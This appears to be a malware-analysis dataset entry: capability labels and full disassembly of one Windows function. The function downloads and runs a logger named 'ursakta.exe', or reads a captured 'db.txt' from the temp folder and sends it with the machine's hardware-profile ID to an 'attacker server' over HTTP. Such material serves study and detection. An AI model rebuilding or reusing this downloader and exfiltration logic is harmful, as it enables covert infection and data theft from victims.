Function at 0x1400014a4
Capabilities:
Connect to http server
Create http request
Create process on windows
Download url
Get file size
Query environment variable
Read and send data from client to server
Read file on windows
Receive data
Send data
Send http request
Set current directory

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x9b0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x950], rcx
mov qword [rbp + 0x958], rdx
lea rax, [rbp + 0x7e0]
mov r8d, 0x104
mov rdx, rax
lea rax, str.TEMP
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp + 0x7e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
lea rax, [rbp + 0x6a0]
mov rdx, rax
lea rax, [0x14000a005]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x928], rax
lea rax, [rbp + 0x560]
mov rdx, rax
lea rax, str.db.txt
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x920], rax
cmp qword [rbp + 0x928], 0xffffffffffffffff
je 0x14000155a
cmp qword [rbp + 0x920], 0xffffffffffffffff
jne 0x1400016bd
lea rax, str.Machine_isnt_infected__Grabbing_logger..._n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x7e0]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea rdx, [rax + 0xd]
lea rax, [rbp + 0x7e0]
lea r8, str.ursakta.exe
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcat_s]
call rax
lea rdx, [rbp + 0x7e0]
mov rax, qword [rbp + 0x950]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp + 0x8e8], eax
cmp dword [rbp + 0x8e8], 0
jne 0x1400016a9
lea rdx, [rbp + 0x410]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
pxor xmm0, xmm0
movups xmmword [rbp + 0x540], xmm0
movq qword [rbp + 0x550], xmm0
lea rax, str.Download_successful__n_Check_tmp_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x540]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x410]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0x8e4], eax
cmp dword [rbp + 0x8e4], 0
jne 0x140001690
lea rax, str.Problem_with_createprocessA_n
mov rcx, rax
call fcn.140001450
jmp 0x140001a8f
lea rax, str.Process_created__Exiting..._n
mov rcx, rax
call fcn.140001450
mov ecx, 1
call sub.msvcrt.dll_exit
lea rax, str.Problem_w_download._n
mov rcx, rax
call fcn.140001450
jmp 0x140001a8f
lea rax, str.Victim_is_already_infected._Beginning_to_send_the_files_to_attacker_server__n
mov rcx, rax
call fcn.140001450
movabs rax, 0x3d646975753f2f
mov edx, 0
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x308], rdx
lea rdx, [rbp + 0x310]
mov eax, 0
mov ecx, 0x1e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, str.text_
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], 0
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
call rax
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rbx, rax
lea rax, [rbp - 0x30]
add rax, 4
mov rcx, rax
call sub.msvcrt.dll_strlen
add rax, rbx
lea rdx, [rax + 1]
lea rax, [rbp - 0x30]
lea rcx, [rax + 4]
lea rax, [rbp + 0x1f0]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcat_s]
call rax
lea rax, [rbp + 0x300]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rbx, rax
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sub.msvcrt.dll_strlen
add rax, rbx
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1f0]
lea rax, [rbp + 0x300]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcat_s]
call rax
lea rax, [rbp + 0x300]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea rdx, [rax + 7]
lea rax, [rbp + 0x300]
lea r8, str.data
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcat_s]
call rax
lea rax, [rbp + 0xe0]
mov r8d, 0x104
mov rdx, rax
lea rax, str.TEMP
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
lea rax, [rbp + 0x50]
mov r8d, 0
mov rdx, rax
lea rax, str.db.txt
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_OpenFile]
call rax
cdqe
mov qword [rbp + 0x918], rax
cmp qword [rbp + 0x918], 0xffffffffffffffff
jne 0x140001863
lea rax, str.Openfile_error__n
mov rcx, rax
call fcn.140001450
lea rdx, [rbp + 0x538]
mov rax, qword [rbp + 0x918]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
call rax
mov dword [rbp + 0x914], eax
cmp dword [rbp + 0x914], 0
jne 0x14000189b
lea rax, str.Get_file_size_error__n
mov rcx, rax
call fcn.140001450
mov rax, qword [rbp + 0x538]
mov qword [rbp + 0x908], rax
mov rax, qword [rbp + 0x908]
mov r8d, eax
lea rcx, [rbp + 0x534]
lea rdx, [rbp + 0x410]
mov rax, qword [rbp + 0x918]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
lea rax, [rbp + 0x300]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rbx, rax
lea rax, [rbp + 0x410]
mov rcx, rax
call sub.msvcrt.dll_strlen
add rax, rbx
lea rdx, [rax + 1]
lea rcx, [rbp + 0x410]
lea rax, [rbp + 0x300]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcat_s]
call rax
lea rax, [rbp + 0x300]
mov rdx, rax
lea rax, str.Final_URL_path:__s_n
mov rcx, rax
call fcn.140001450
mov rax, qword [rbp + 0x918]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.ursakta
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x900], rax
mov rdx, qword [rbp + 0x958]
mov rax, qword [rbp + 0x900]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1f90
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x8f8], rax
lea rcx, [rbp + 0x300]
mov rax, qword [rbp + 0x8f8]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x40000
lea rdx, [rbp + 0x520]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rcx
lea rdx, [0x14000a166]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0x8f0], rax
cmp qword [rbp + 0x8f0], 0
jne 0x140001a43
lea rax, str.Problem_with_opening_request__n
mov rcx, rax
call fcn.140001450
mov rax, qword [rbp + 0x8f0]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
mov dword [rbp + 0x8ec], eax
cmp dword [rbp + 0x8ec], 0
jne 0x140001a8f
lea rax, str.Problem_with_sending_request_n
mov rcx, rax
call fcn.140001450
jmp 0x140001a8f
nop
add rsp, 0x9b0
pop rbx
pop rdi
pop rbp
ret